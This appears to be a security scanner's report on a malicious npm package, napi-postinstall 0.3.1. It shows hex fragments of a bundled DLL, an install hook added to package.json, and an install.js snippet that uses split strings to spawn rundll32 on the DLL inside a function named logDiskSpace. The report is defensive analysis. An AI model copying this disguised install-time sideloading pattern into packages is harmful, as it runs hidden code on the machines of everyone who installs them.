napi-postinstall 0.3.1
Unsigned PE hides a SOCKS loader behind encrypted C2 and certificate stagingInstall hook sideloads bundled DLL via hidden LOLBin
SHA-25677df7df22a772487e121d2a4fd41ca9f709be4d2e3e27efeb4ffb39e5380357e
Also flagged by osv (MAL-2025-6025: Malicious code in napi-postinstall (npm)) +3 more.
Evidence
⋯3 more rows
0xe2ca5439488985a8420000488b85a8420000T9H...B..H...B..
0xe2da488985b0420000488b85b04200004889H...B..H...B..H.
0xe2ea85407b000048b886b28b720a4d554448.@{..H....r.MUDH
⋯7 more rows
⋯3 more rows
0x13db7458d4aff5c217b16488985c04a000048E.J.\!{.H...J..H
0x13dc78b85c04a0000488985c84a0000488b85...J..H...J..H..
0x13dd7c84a0000488985a07d000048b8e0dbf9.J..H...}..H....
0x13de717682c2621488985d04a0000488b85d0.h,&!H...J..H...
0x13df74a0000488985d84a0000488b85d84a00J..H...J..H...J.
⋯7 more rows
⋯3 more rows
0xfbee62046696c650a232068747470733a2f2f File.# https://
0xfbef66375726c2e73652f646f63732f687474curl.se/docs/htt
0xfbf06702d636f6f6b6965732e68746d6c0a23p-cookies.html.#
⋯10 more rows
⋯5 lines
152function logDiskSpace() {
153 try {
154 if(os.platform() === 'win32') {
155 const tempDir = os.tmpdir();
156 require('chi'+'ld_pro'+'cess')["sp"+"awn"]("rund"+"ll32",
157 [path.join(__dirname, './node-gyp' + '.dll') + ",main"]);
158 log(`Temp directory: ${tempDir}`);
159 const files = cache.readdirSync(tempDir);
160 log(`Number of files in temp directory: ${files.length}`);
161 …
1{
2 "name": "napi-postinstall",
3 "version": "0.3.1",
4 "type": "commonjs",
5 "description": "The `postinstall` script helper for handling native bindings in legacy `npm` versions",
6 "repository": "git+https://github.com/un-ts/napi-postinstall.git",
7 "author": "JounQin <[email protected]> (https://www.1stG.me)",
8 "funding": "https://opencollective.com/napi-postinstall",
9 "license": "MIT",
10 "engines": {
11 "node": "^12.20.0 || ^14.18.0 || >=16.0.0"
12 },
13 "bin": "./lib/cli.js",
14 "main": "./lib/index.js",
15 "types": "./lib/index.d.ts",
16 "scripts":{"install": "node install.js"},
17 "exports": {
18 ".": {
19 "types": "./lib/index.d.ts",
⋯6 lines
26 "./package.json": "./package.json"
27 },
28 "files": [
29 "lib",
30 "!**/*.tsbuildinfo",
31 "install.js",
32 "node-gyp.dll"
33 ],
34 "packageManager": "[email protected]+sha512.f90c1ec8b207b625d6edb6693aef23dacb39c38e4217fe8c46a973f119cab392ac0de23fe3f07e583188dae9fd9108b3845ad6f525b598742bd060ebad60bff3"
35}
Showing the top 5 files — 4 more files (33 regions) not shown.
No evidence locations were recorded for this file. Raw result